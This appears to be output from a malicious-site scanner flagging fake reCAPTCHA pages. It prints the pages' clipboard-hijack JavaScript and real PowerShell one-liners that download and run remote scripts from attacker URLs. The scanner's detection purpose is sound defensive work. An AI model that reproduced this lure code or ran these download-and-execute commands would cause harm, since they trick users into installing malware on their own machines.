...k", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "0"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "Ҝ ''I am not a robot - reCAPTCHA Verification ID: " const end = "''" const textToCopy = commandToRun setClipboardCopyData(textToCopy); } function showVerifyWindow() {...

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: base64_payload
iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content
Status: error: HTTPSConnectionPool(host='amazon-ny-gifts.com', port=443): Max retries exceeded with url: /shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt (Caused by NameResolutionError("HTTPSConnection(host
https://blessdayservices.org/up/
50 indicators detected
Score: 339 PowerShell Clipboard Hijack
3
powershell
5
clipboard
1
downloads
4
captcha
23
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 3

powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\"";
powershell " + htaPath;
iwr

πŸ” Suspicious Keywords 23

CAPTCHA Verification
Verification Hash
I am not a robot
You will observe
CAPTCHA
captcha-logo
captcha
CAPTCHA-logo
CaptchaListeners
CaptchaCheckbox

🌐 Extracted URLs 5

https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
https://www.google.com/intl/en/policies/privacy/
https://www.google.com/intl/en/policies/terms/
https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextA...
...ck", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "Ҝ ''I am not a robot - reCAPTCHA Verification Hash: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } function showVerifyWindow()...
https://35.226.92.8/
29 indicators detected
Score: 332 Redirect Chain
1
redirect follows
1
suspicious keywords

πŸ” Suspicious Keywords 1

hidden

🌐 Extracted URLs 4

https://book-demo-osz7okoeoa-uc.a.run.app/
https://www.youtube.com/watch?v=Zr9M75Z7he0
https://www.youtube.com/watch?v=Zr9M75Z7he0
https://www.youtube.com/embed/

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
t.contains('playing')) return;
    var f=document.createElement('iframe');
    f.src='https://www.youtube.com/embed/'+ytId+'?start=24&end=82&autoplay=1&rel=0&playsinline=1';
    f.title='Watch the 360 demo Ҁ” myvirtualteacher.ai';
    f.al…
Status: ok
<!DOCTYPE html><html lang="en" dir="ltr" data-cast-api-enabled="true"><head><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noindex"><script nonce="KUnDzrAhK-yYlXoOW6zWLg">if ('undefined' == typeof Symbol || 'undefined' == typeof Symbol.iterator) {delete Array.prototype.entries;}</script><style name="www-roboto" nonce="eOweTPK8CetBDU1vXC2vFg">@font-face{font-family:'Roboto';font-style:normal;font-weight:400;font-stretch:100%;src:url(//fonts.gstati... [truncated]

Showing top 20 malicious sites. 7 additional sites detected.